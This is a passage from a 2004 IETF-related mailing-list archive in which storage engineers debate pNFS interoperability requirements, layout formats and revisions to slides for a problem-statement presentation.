extensions being optional among mutually consenting clients and servers. This may also settle an earlier issue about whether metadata-only servers should not be supported - they can't fall back to NFSv4 as the ""mandatory to implement"" interoperable mode, and hence will get us into a tarpit over which metadata type must be ""mandatory to implement"" to ensure interoperability. IMHO, the best bet is to ""just say no"" - pNFS is an NFSv4 extension, therefore any implementation of pNFS is required to implement vanilla NFSv4 without any pNFS extensions in addition to pNFS-extended NFSv4. Thanks, --David ---------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 176 South St., Hopkinton, MA 01748 +1 (508) 293-7953 FAX: +1 (508) 293-7786 black_david@emc.com Mobile: +1 (978) 394-7754 ---------------------------------------------------- >From bhalevy@panasas.com Mon Feb 16 15:01:17 2004 Return-Path: X-Sender: bhalevy@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 69170 invoked from network); 16 Feb 2004 23:01:14 -0000 Received: from unknown (66.218.66.218) by m3.grp.scd.yahoo.com with QMQP; 16 Feb 2004 23:01:14 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta3.grp.scd.yahoo.com with SMTP; 16 Feb 2004 23:01:14 -0000 Received: by PIKES.panasas.com with Internet Mail Service (5.5.2653.19) id ; Mon, 16 Feb 2004 18:01:12 -0500 Message-ID: <30489F1321F5C343ACF6872B2CF7942A05D38883@PIKES.panasas.com> To: ""'pnfs-reqs@yahoogroups.com'"" Date: Mon, 16 Feb 2004 18:01:06 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset=""iso-8859-1"" X-eGroups-Remote-IP: 65.194.124.178 From: ""Halevy, Benny"" Subject: RE: [pnfs-reqs] Data formats & Interoperability (was: concall tom orrow) X-Yahoo-Group-Post: member; u=169276676 X-Yahoo-Profile: benny_halevy >I think the best bet for the pNFS extensions will be to define ""none"" >(i.e., vanilla NFSv4) as the ""mandatory to implement"" >interoperable mode, >with all pNFS extensions being optional among mutually >consenting clients >and servers. This may also settle an earlier issue about whether >metadata-only servers should not be supported - they can't fall back to >NFSv4 as the ""mandatory to implement"" interoperable mode, and hence >will get us into a tarpit over which metadata type must be ""mandatory >to implement"" to ensure interoperability. IMHO, the best bet is to >""just say no"" - pNFS is an NFSv4 extension, therefore any >implementation >of pNFS is required to implement vanilla NFSv4 without any >pNFS extensions >in addition to pNFS-extended NFSv4. I think that makes a lot of sense and goes well with NFSv4's minor versioning rules. Benny >-----Original Message----- >From: black_david@emc.com [mailto:black_david@emc.com] >Sent: Monday, February 16, 2004 5:44 PM >To: pnfs-reqs@yahoogroups.com >Subject: [pnfs-reqs] Data formats & Interoperability (was: concall >tomorrow) > > >Gary Grider wrote: > > So I think having a header that has the info that is needed for > interop is fine and having a payload that is opaque is fine. > > So explain why we need three different ""wire formats"" >for these >three > different methods? Why arent these things just 3 >different types >within > the same wire format? Or is that what is envisioned, >and I am just >hung > up on the terminology, and what you are saying is that >we need to > > 1) define the header for interop type, version, length >perhaps etc. > and > 2) define > a) opaque info for SBC type = 1 version = 1 > b) opaque info for Object type = 2 version = 1 > c) opaque info for NFS back ends type = 3 version = 1 > > and if someone wants to write an IETF request to have >type = 4 added > they can write a draft and get it approved and document >the opaque >info format? > >That's correct, and there are lots of IETF examples of protocols that >are structured in this fashion. > >There is one issue that may cause some difficulty - mandatory >requirements >for interoperability. IETF requires that two implementations >of the same >protocol be capable of interoperating when implementers have >made different >choices among optional to implement features. This interoperation can >be dependent on suitable configuration of the implementations. > >For example, there are mandatory-to-implement cryptographic algorithm >requirements for protocols like IPsec and TLS to ensure that any two >implementations can interoperate even if they've implemented different >sets of cryptographic algorithms. In that case the ""mandatory >to implement"" >cryptographic algorithms will have been implemented by both, >and will result >in interoperation if they are chosen by both sides, although there's no >requirement that they be offered or selected in negotiation. > >Requiring any one of the three metadata types Gary lists above to >always be implemented is going to cause problems for some of the >envisioned implementations. > >I think the best bet for the pNFS extensions will be to define ""none"" >(i.e., vanilla NFSv4) as the ""mandatory to implement"" >interoperable mode, >with all pNFS extensions being optional among mutually >consenting clients >and servers. This may also settle an earlier issue about whether >metadata-only servers should not be supported - they can't fall back to >NFSv4 as the ""mandatory to implement"" interoperable mode, and hence >will get us into a tarpit over which metadata type must be ""mandatory >to implement"" to ensure interoperability. IMHO, the best bet is to >""just say no"" - pNFS is an NFSv4 extension, therefore any >implementation >of pNFS is required to implement vanilla NFSv4 without any >pNFS extensions >in addition to pNFS-extended NFSv4. > >Thanks, >--David >---------------------------------------------------- >David L. Black, Senior Technologist >EMC Corporation, 176 South St., Hopkinton, MA 01748 >+1 (508) 293-7953 FAX: +1 (508) 293-7786 >black_david@emc.com Mobile: +1 (978) 394-7754 >---------------------------------------------------- > > > > > > > > > > > > > >------------------------ Yahoo! Groups Sponsor >---------------------~--> >Buy Ink Cartridges or Refill Kits for your HP, Epson, Canon or Lexmark >Printer at MyInks.com. Free s/h on orders $50 or more to the >US & Canada. >http://www.c1tracking.com/l.asp?cid=5511 >http://us.click.yahoo.com/mOAaAA/3exGAA/qnsNAA/W6uqlB/TM >--------------------------------------------------------------- >------~-> > > >Yahoo! Groups Links > > > > > >From black_david@emc.com Mon Feb 16 15:04:45 2004 Return-Path: X-Sender: Black_David@emc.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 88331 invoked from network); 16 Feb 2004 23:04:42 -0000 Received: from unknown (66.218.66.172) by m13.grp.scd.yahoo.com with QMQP; 16 Feb 2004 23:04:42 -0000 Received: from unknown (HELO mercury.eng.emc.com) (168.159.100.12) by mta4.grp.scd.yahoo.com with SMTP; 16 Feb 2004 23:04:41 -0000 Received: from mxic2.corp.emc.com ([128.221.12.9]) by mercury.eng.emc.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2656.59) id 1ZQHJRNX; Mon, 16 Feb 2004 18:04:40 -0500 Received: by mxic2.corp.emc.com with Internet Mail Service (5.5.2653.19) id <1YVBKVS1>; Mon, 16 Feb 2004 18:03:37 -0500 Message-ID: X-Sybari-Trust: e925cc80 1d8c424f 321aa0c1 0000013d To: pnfs-reqs@yahoogroups.com Date: Mon, 16 Feb 2004 18:04:33 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-eGroups-Remote-IP: 168.159.100.12 From: black_david@emc.com Subject: RE: [pnfs-reqs] plugins vs. wire protocol - a false dilemma X-Yahoo-Group-Post: member; u=82420288 X-Yahoo-Profile: dlb237 Julian, The opaque format (and API) approach for interoperability works when the opaqueness is to things that are above the level of the protocol involved. For example, NFSv4 has nothing to say about the contents of the files it provides access to - they're opaque and rightly so. The problem we have here is that pNFS is at the functional level of NFSv4. If pNFS can't be configured to work (e.g., no metadata type is common to client and server) and NFSv4 is not supported by both ends, the result is no file access, no matter how the ends of the connection are configured. Needless to say, this would be wrong for implementations claiming to meet the requirements of an IETF spec. As I noted in my previous message, requiring vanilla NFSv4 without pNFS extensions as the interoperable mode is probably the best way forward here. I don't think defining a plug-in API will help with this interoperability issue, although describing the functional interface between the generic pNFS client and the storage-specific functionality is probably still a good thing to do. Also, attempting to anticipate a further issue from Gary - the IETF requirement is functionality only, not performance. In other words, NFSv4 just has to work, it doesn't have to be fast (e.g., if all the clients in a pNFS system suddenly fall back on NFSv4 for some reason, it's ok w/IETF if the results are slow, although Gary might be very unhappy if one of his systems ever did this). Thanks, --David > I followed this thread with interest. I agree with Garth that wire format > is required for interoperability - and an opaque format is good only for > communication between entities of the same kind. That is required and > having more than one is not necessarily a bad thing. > > However Gary has a good point in that by introducing many different > formats server and client implementers may feel somewhat uneasy (and may > delay implementations). > > Security that Benny used as a benchmark has solved this by standardizing > an API (GSS-API) besides the wire protocol (however beware IETF does not > like to standardize APIs - unless presented as a semantic definition for > the endpoint operation). > > Perhaps the right thing to do is define both an API for the plug-in Gary > suggested and the wire protocol (that enables interoperability). > > And BTW - using a meaningful subject line is part of the mailing list > etiquette - I almost dropped the whole thread knowing that I > can't make > the call. > > Regards, > Julo >From garth@panasas.com Fri Feb 20 16:22:40 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 57576 invoked from network); 21 Feb 2004 00:22:36 -0000 Received: from unknown (66.218.66.217) by m18.grp.scd.yahoo.com with QMQP; 21 Feb 2004 00:22:36 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta2.grp.scd.yahoo.com with SMTP; 21 Feb 2004 00:22:36 -0000 Received: from [172.17.2.81] ([172.17.2.81]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id FK58QLDY; Fri, 20 Feb 2004 19:22:34 -0500 Mime-Version: 1.0 (Apple Message framework v612) In-Reply-To: <5.2.0.9.2.20040212213826.038a2208@cic-mail.lanl.gov> References: <5.2.0.9.2.20040212213826.038a2208@cic-mail.lanl.gov> Content-Type: multipart/mixed; boundary=Apple-Mail-1-231497768 Message-Id: <064537AE-6404-11D8-A7AF-000A95A94F04@panasas.com> Date: Fri, 20 Feb 2004 19:22:25 -0500 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.612) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: [pnfs-reqs] RE: NEPS-REQS: getting started X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson Based on feedback from Brent's concall 8 days ago, here is my cut at Gary's proposal for a short problem statement introduction presentation. garth On Feb 12, 2004, at 11:41 PM, Gary Grider wrote: > I agree. > > I added some parallel stuff. > > Thanks > Gary > > At 07:22 AM 2/12/2004 -0800, Corbett, Peter wrote: > > The slides mention server bypass twice, but don't talk about parallel > access. Our problem statement is much more focussed on parallel > access. > We are trying to define a standard for parallel access, whether that is > to nfs based data servers, object servers, virtualized SAN or > non-virtualized SAN devices. So, I think we need to be clearer when > talking about bypassing the server that we are really talking about > direct access to a parallel data store from clustered clients, with a > shared NFS server acting as a metadata server. To me, that is the key > point that applies across the entire solution space, whereas direct > access to devices is a data access technique in part of the solution > space. > > -----Original Message----- > From: Gary Grider [ mailto:ggrider@lanl.gov > ] Sent: Thursday, February 12, 2004 12:55 AM > To: pnfs-reqs@yahoogroups.com > Subject: Re: Fwd: [pnfs-reqs] RE: NEPS-REQS: getting started > > > elevator pitch > > Gary > Attachment (not stored) pNFS-intro.ppt Type: application/vnd.ms-powerpoint >From dnoveck@netapp.com Sun Feb 22 10:22:12 2004 Return-Path: X-Sender: Dave.Noveck@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 79037 invoked from network); 22 Feb 2004 18:22:11 -0000 Received: from unknown (66.218.66.167) by m6.grp.scd.yahoo.com with QMQP; 22 Feb 2004 18:22:11 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta6.grp.scd.yahoo.com with SMTP; 22 Feb 2004 18:22:11 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i1MIMBJC011267 for ; Sun, 22 Feb 2004 10:22:11 -0800 (PST) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.10.22.171]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i1MIMBDU023705 for ; Sun, 22 Feb 2004 10:22:11 -0800 (PST) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Sun, 22 Feb 2004 10:22:02 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] RE: NEPS-REQS: getting started Thread-Index: AcP4ENaVWrKnCLT9S1ivd9w4C4AJJQBXI02Q To: X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Noveck, Dave"" From: ""Noveck, Dave"" Subject: RE: [pnfs-reqs] RE: NEPS-REQS: getting started X-Yahoo-Group-Post: member; u=44152831 X-Yahoo-Profile: davidnoveck I have some suggestions on slides 5 and 6. I would drop the line about delegations from this slide. Unless you come to this from the sorts of discussions we have been having (and thus aren't the critical part of the audience), this is really not going to be understandable. One problem that we have in presenting this is that if we explain the situation, we wind up having to explain that we think we pretty much know how to do this already and just need the IETF to bless our choice (I'm exaggerating but only some), and that isn't likely to go down very well with a lot of people. I'd express the last sub-bullet in this section as something like: NFSv4 minor version model a good way to provide incremental extensions which doesn't say that we know pretty much what these are (but it doesn't say we don't :-) As to the last section of slide 6, I'd revise to be something like the following, again to reduce the we-know-how-to-do-this tone. Much interest in exploring how v4 could be extended to solve this Extension of delegations to provide ""layout"" information to clients Clients use layout information to do IO and avoid single-server bottleneck NFS, SCSI Block, SCSI Object layout formats all discussed Support for multiple formats looks desirable (and doable). -----Original Message----- From: Garth Gibson [mailto:garth@panasas.com] Sent: Friday, February 20, 2004 7:22 PM To: pnfs-reqs@yahoogroups.com Subject: Re: [pnfs-reqs] RE: NEPS-REQS: getting started Based on feedback from Brent's concall 8 days ago, here is my cut at Gary's proposal for a short problem statement introduction presentation. garth On Feb 12, 2004, at 11:41 PM, Gary Grider wrote: > I agree. > > I added some parallel stuff. > > Thanks > Gary > > At 07:22 AM 2/12/2004 -0800, Corbett, Peter wrote: > > The slides mention server bypass twice, but don't talk about parallel > access. Our problem statement is much more focussed on parallel > access. > We are trying to define a standard for parallel access, whether that is > to nfs based data servers, object servers, virtualized SAN or > non-virtualized SAN devices. So, I think we need to be clearer when > talking about bypassing the server that we are really talking about > direct access to a parallel data store from clustered clients, with a > shared NFS server acting as a metadata server. To me, that is the key > point that applies across the entire solution space, whereas direct > access to devices is a data access technique in part of the solution > space. > > -----Original Message----- > From: Gary Grider [ mailto:ggrider@lanl.gov > ] Sent: Thursday, February 12, 2004 12:55 AM > To: pnfs-reqs@yahoogroups.com > Subject: Re: Fwd: [pnfs-reqs] RE: NEPS-REQS: getting started > > > elevator pitch > > Gary > Yahoo! Groups Links >From garth@panasas.com Sun Feb 22 15:44:29 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 14930 invoked from network); 22 Feb 2004 23:44:28 -0000 Received: from unknown (66.218.66.166) by m18.grp.scd.yahoo.com with QMQP; 22 Feb 2004 23:44:28 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta5.grp.scd.yahoo.com with SMTP; 22 Feb 2004 23:44:27 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id FLP29YY1; Sun, 22 Feb 2004 18:44:26 -0500 Mime-Version: 1.0 (Apple Message framework v612) In-Reply-To: References: Content-Type: multipart/mixed; boundary=Apple-Mail-3-402012520 Message-Id: <08FB86C8-6591-11D8-9D79-000A95A94F04@panasas.com> Date: Sun, 22 Feb 2004 18:44:20 -0500 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.612) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: [pnfs-reqs] RE: NEPS-REQS: getting started X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson I understand the sensitivity of IETF to having solutions presented instead of problems. Here is a revision following the recommendations below, with some word choices of my own. Specifically, I'm reluctant to say nothing about how NFSv4 is better for fixing this than NFSv3; that is, the definition of NFSv4 creates the opportunity for ""direct"" or ""out-of-band"" access. Page 5: the two lines in question, - NFSv4, relative to NFSv3, has enhanced client side optimizations - NFSv4 minor extensions may suffice for incremental functionality Page 6: last section: Much interest in exploring NFSv4 extensions to meet scalability needs - Extend NFSv4 �delegations� to provide �layout� information to clients - Clients use �layout� to directly access storage, avoiding single-server bottleneck - NFS, SCSI Block, and SCSI Object �layout� formats all discussed - Support for multiple �layout� formats desirable (and looks doable) Dave, how is this? garth On Feb 22, 2004, at 1:22 PM, Noveck, Dave wrote: > I have some suggestions on slides 5 and 6. > > I would drop the line about delegations from this slide. Unless > you come to this from the sorts of discussions we have been having > (and thus aren't the critical part of the audience), this is > really not going to be understandable. One problem that we have > in presenting this is that if we explain the situation, we wind up > having to explain that we think we pretty much know how to do this > already and just need the IETF to bless our choice (I'm exaggerating > but only some), and that isn't likely to go down very well with a > lot of people. > > I'd express the last sub-bullet in this section as something like: > > NFSv4 minor version model a good way to provide incremental > extensions > > which doesn't say that we know pretty much what these are (but it > doesn't say we don't :-) > > As to the last section of slide 6, I'd revise to be something like > the following, again to reduce the we-know-how-to-do-this tone. > > Much interest in exploring how v4 could be extended to solve this > > Extension of delegations to provide ""layout"" information to > clients > > Clients use layout information to do IO and avoid > single-server bottleneck > > NFS, SCSI Block, SCSI Object layout formats all discussed > > Support for multiple formats looks desirable (and doable). > > -----Original Message----- > From: Garth Gibson [mailto:garth@panasas.com] > Sent: Friday, February 20, 2004 7:22 PM > To: pnfs-reqs@yahoogroups.com > Subject: Re: [pnfs-reqs] RE: NEPS-REQS: getting started > > > Based on feedback from Brent's concall 8 days ago, here is my cut at > Gary's proposal for a short problem statement introduction > presentation. > > garth > Attachment (not stored) pNFS-intro-2-22.ppt Type: application/vnd.ms-powerpoint >From dnoveck@netapp.com Sun Feb 22 16:29:36 2004 Return-Path: X-Sender: Dave.Noveck@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 26422 invoked from network); 23 Feb 2004 00:29:34 -0000 Received: from unknown (66.218.66.167) by m13.grp.scd.yahoo.com with QMQP; 23 Feb 2004 00:29:34 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta6.grp.scd.yahoo.com with SMTP; 23 Feb 2004 00:29:34 -0000 Received: from frejya.corp.netapp.com (frejya [10.57.157.119]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i1N0TTJC016163 for ; Sun, 22 Feb 2004 16:29:29 -0800 (PST) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.10.22.171]) by frejya.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i1N0TTB4000373 for ; Sun, 22 Feb 2004 16:29:29 -0800 (PST) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset=""Windows-1252"" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Sun, 22 Feb 2004 16:29:18 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] RE: NEPS-REQS: getting started Thread-Index: AcP5ndac4dbytrq3RvKJaomlNrNv9AAA7Y1g To: X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Noveck, Dave"" From: ""Noveck, Dave"" Subject: RE: [pnfs-reqs] RE: NEPS-REQS: getting started X-Yahoo-Group-Post: member; u=44152831 X-Yahoo-Profile: davidnoveck > I understand the sensitivity of IETF to having solutions presented > instead of problems. > Here is a revision following the recommendations below, with some word > choices of my own. Specifically, I'm reluctant to say nothing about > how NFSv4 is better for fixing this than NFSv3; that is, the definition > of NFSv4 creates the opportunity for ""direct"" or ""out-of-band"" access > Page 5: the two lines in question, > - NFSv4, relative to NFSv3, has enhanced client side optimizations I can see that the idea that this is just an extension of an already establiched v4 trend is worth mentioning. My preference would be not to mention v3 explicitly, but maybe that's one of those things that we'll never agree on. No big deal. How about: NFSv4 already provides mechanisms for clients to act autonomously when circumstances allow it. > - NFSv4 minor extensions may suffice for incremental functionality ""minor extensions"" sounds like you are talking about the size of the extensions so I would somehow use ""minor version"" or ""minor versioning"" to indicate that v4 already has made provisions for extensions like this (even without knowing what they would be :-) > Page 6: last section: > > Much interest in exploring NFSv4 extensions to meet scalability needs > - Extend NFSv4 �delegations� to provide �layout� information to clients I wouldn't have the quotes around 'delegations'. Those should be an understood idea in the NFSv4 context. > - Clients use �layout� to directly access storage, avoiding > single-server bottleneck > - NFS, SCSI Block, and SCSI Object �layout� formats all discussed > - Support for multiple �layout� formats desirable (and looks doable) > Dave, how is this? Looks OK to me. >From Thomas.Talpey@netapp.com Sun Feb 22 16:49:04 2004 Return-Path: X-Sender: Thomas.Talpey@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 86191 invoked from network); 23 Feb 2004 00:49:00 -0000 Received: from unknown (66.218.66.218) by m20.grp.scd.yahoo.com with QMQP; 23 Feb 2004 00:49:00 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta3.grp.scd.yahoo.com with SMTP; 23 Feb 2004 00:49:00 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i1N0n0JC017966 for ; Sun, 22 Feb 2004 16:49:00 -0800 (PST) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.10.22.171]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i1N0n0DU011074 for ; Sun, 22 Feb 2004 16:49:00 -0800 (PST) Received: from tmt.netapp.com ([10.97.6.32]) by silver.hq.netapp.com with Microsoft SMTPSVC(5.0.2195.5329); Sun, 22 Feb 2004 19:48:51 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01C3F9A6.CDD9DB80"" X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message Date: Sun, 22 Feb 2004 16:48:40 -0800 Message-ID: <6.0.3.0.0.20040222194310.01b7da00@silver.nane.netapp.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] RE: NEPS-REQS: getting started Thread-Index: AcP5ps6EfXbzcs3NTDaL2WopU4HhCw== To: X-eGroups-Remote-IP: 198.95.226.53 From: ""Talpey, Thomas"" Subject: Re: [pnfs-reqs] RE: NEPS-REQS: getting started X-Yahoo-Group-Post: member; u=44154239 X-Yahoo-Profile: tmtymailu ADVERTISEMENT click here What is ""EDA"" (slide 3)? Spell it out, whatever it is! :-) I wouldn't include ""FCIP"" on slide 5. Does anyone use it, especially for storage? I think there should be another slide after slide 2, which drills down at least a little into the ideas that have been discussed. It's a good place to establish the context of the presentation - as it is there isn't really any ""proposal"". I'm thinking maybe a single bullet for some or all of the whitepapers at NEPS? Tom. At 06:44 PM 2/22/2004, Garth Gibson wrote: >I understand the sensitivity of IETF to having solutions presented >instead of problems. > >Here is a revision following the recommendations below, with some word >choices of my own. Specifically, I'm reluctant to say nothing about >how NFSv4 is better for fixing this than NFSv3; that is, the definition >of NFSv4 creates the opportunity for ""direct"" or ""out-of-band"" access. > >Page 5: the two lines in question, > >- NFSv4, relative to NFSv3, has enhanced client side optimizations >- NFSv4 minor extensions may suffice for incremental functionality > >Page 6: last section: > >Much interest in exploring NFSv4 extensions to meet scalability needs >- Extend NFSv4 �delegations� to provide �layout� information to clients >- Clients use �layout� to directly access storage, avoiding >single-server bottleneck >- NFS, SCSI Block, and SCSI Object �layout� formats all discussed >- Support for multiple �layout� formats desirable (and looks doable) > >Dave, how is this? > >garth > > >On Feb 22, 2004, at 1:22 PM, Noveck, Dave wrote: > >> I have some suggestions on slides 5 and 6. >> >> I would drop the line about delegations from this slide. Unless >> you come to this from the sorts of discussions we have been having >> (and thus aren't the critical part of the audience), this is >> really not going to be understandable. One problem that we have >> in presenting this is that if we explain the situation, we wind up >> having to explain that we think we pretty much know how to do this >> already and just need the IETF to bless our choice (I'm exaggerating >> but only some), and that isn't likely to go down very well with a >> lot of people. >> >> I'd express the last sub-bullet in this section as something like: >> >> NFSv4 minor version model a good way to provide incremental >> extensions >> >> which doesn't say that we know pretty much what these are (but it >> doesn't say we don't :-) >> >> As to the last section of slide 6, I'd revise to be something like >> the following, again to reduce the we-know-how-to-do-this tone. >> >> Much interest in exploring how v4 could be extended to solve this >> >> Extension of delegations to provide ""layout"" information to >> clients >> >> Clients use layout information to do IO and avoid >> single-server bottleneck >> >> NFS, SCSI Block, SCSI Object layout formats all discussed >> >> Support for multiple formats looks desirable (and doable). >> >> -----Original Message----- >> From: Garth Gibson [mailto:garth@panasas.com] >> Sent: Friday, February 20, 2004 7:22 PM >> To: pnfs-reqs@yahoogroups.com >> Subject: Re: [pnfs-reqs] RE: NEPS-REQS: getting started >> >> >> Based on feedback from Brent's concall 8 days ago, here is my cut at >> Gary's proposal for a short problem statement introduction >> presentation. >> >> garth >> > > > >------------------------ Yahoo! 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Groups is subject to: > http://docs.yahoo.com/info/terms/ > > > >From garth@panasas.com Sun Feb 22 17:52:39 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 88387 invoked from network); 23 Feb 2004 01:52:38 -0000 Received: from unknown (66.218.66.167) by m16.grp.scd.yahoo.com with QMQP; 23 Feb 2004 01:52:38 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta6.grp.scd.yahoo.com with SMTP; 23 Feb 2004 01:52:37 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id FLP29Z15; Sun, 22 Feb 2004 20:52:35 -0500 Mime-Version: 1.0 (Apple Message framework v612) In-Reply-To: <6.0.3.0.0.20040222194310.01b7da00@silver.nane.netapp.com> References: <6.0.3.0.0.20040222194310.01b7da00@silver.nane.netapp.com> Content-Type: multipart/mixed; boundary=Apple-Mail-5-409702016 Message-Id: Date: Sun, 22 Feb 2004 20:52:29 -0500 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.612) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: [pnfs-reqs] RE: NEPS-REQS: getting started X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson Okay, I think I'm in tune with all of Dave Noveck's comments and the first two of these comments from Tom. The third comment, calling for more description of the ideas that were in the NEPS workshop, has me confused. I think Dave has been encouraging that the proposal have less in the way of what the IETF should do to solve this problem, and I read this request as suggesting that we have more in the way of proposals for the solution. I'm certain we can do either, and I think I'd like to hear a little more direction from the group. Do we stay with this mostly solution free problem presentation, or do we add more about layout delegations and other NEPS proposed ideas? garth On Feb 22, 2004, at 7:48 PM, Talpey, Thomas wrote: > What is ""EDA"" (slide 3)? Spell it out, whatever it is! :-) > > I wouldn't include ""FCIP"" on slide 5. Does anyone use it, > especially for storage? > > I think there should be another slide after slide 2, which > drills down at least a little into the ideas that have been > discussed. It's a good place to establish the context of > the presentation - as it is there isn't really any ""proposal"". > I'm thinking maybe a single bullet for some or all of the > whitepapers at NEPS? > > Tom. > > At 06:44 PM 2/22/2004, Garth Gibson wrote: >> I understand the sensitivity of IETF to having solutions presented >> instead of problems. >> >> Here is a revision following the recommendations below, with some word >> choices of my own. Specifically, I'm reluctant to say nothing about >> how NFSv4 is better for fixing this than NFSv3; that is, the >> definition > >> of NFSv4 creates the opportunity for ""direct"" or ""out-of-band"" access. >> >> Page 5: the two lines in question, >> >> - NFSv4, relative to NFSv3, has enhanced client side optimizations >> - NFSv4 minor extensions may suffice for incremental functionality >> >> Page 6: last section: >> >> Much interest in exploring NFSv4 extensions to meet scalability needs >> - Extend NFSv4 ""delegations"" to provide ""layout"" information to >> clients > >> - Clients use ""layout"" to directly access storage, avoiding >> single-server bottleneck >> - NFS, SCSI Block, and SCSI Object ""layout"" formats all discussed >> - Support for multiple ""layout"" formats desirable (and looks doable) >> >> Dave, how is this? >> >> garth >> >> >> On Feb 22, 2004, at 1:22 PM, Noveck, Dave wrote: >> >>> I have some suggestions on slides 5 and 6. >>> >>> I would drop the line about delegations from this slide. Unless >>> you come to this from the sorts of discussions we have been having >>> (and thus aren't the critical part of the audience), this is >>> really not going to be understandable. One problem that we have >>> in presenting this is that if we explain the situation, we wind up >>> having to explain that we think we pretty much know how to do this >>> already and just need the IETF to bless our choice (I'm exaggerating >>> but only some), and that isn't likely to go down very well with a >>> lot of people. >>> >>> I'd express the last sub-bullet in this section as something like: >>> >>> NFSv4 minor version model a good way to provide incremental >>> extensions >>> >>> which doesn't say that we know pretty much what these are (but it >>> doesn't say we don't :-) >>> >>> As to the last section of slide 6, I'd revise to be something like >>> the following, again to reduce the we-know-how-to-do-this tone. >>> >>> Much interest in exploring how v4 could be extended to solve >>> this >>> >>> Extension of delegations to provide ""layout"" information >>> to clients >>> >>> Clients use layout information to do IO and avoid >>> single-server bottleneck >>> >>> NFS, SCSI Block, SCSI Object layout formats all discussed >>> >>> Support for multiple formats looks desirable (and doable). >>> >>> -----Original Message----- >>> From: Garth Gibson [ mailto:garth@panasas.com >>> ] >>> Sent: Friday, February 20, 2004 7:22 PM >>> To: pnfs-reqs@yahoogroups.com >>> Subject: Re: [pnfs-reqs] RE: NEPS-REQS: getting started >>> >>> >>> Based on feedback from Brent's concall 8 days ago, here is my cut at >>> Gary's proposal for a short problem statement introduction >>> presentation. >>> >>> garth Attachment (not stored) pNFS-intro-2-22.2.ppt Type: application/vnd.ms-powerpoint >From julian_satran@il.ibm.com Mon Feb 23 08:25:56 2004 Return-Path: X-Sender: Julian_Satran@il.ibm.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 50186 invoked from network); 23 Feb 2004 16:25:42 -0000 Received: from unknown (66.218.66.167) by m16.grp.scd.yahoo.com with QMQP; 23 Feb 2004 16:25:42 -0000 Received: from unknown (HELO mtagate7.uk.ibm.com) (195.212.29.140) by mta6.grp.scd.yahoo.com with SMTP; 23 Feb 2004 16:25:41 -0000 Received: from d06nrmr1307.portsmouth.uk.ibm.com (d06nrmr1307.portsmouth.uk.ibm.com 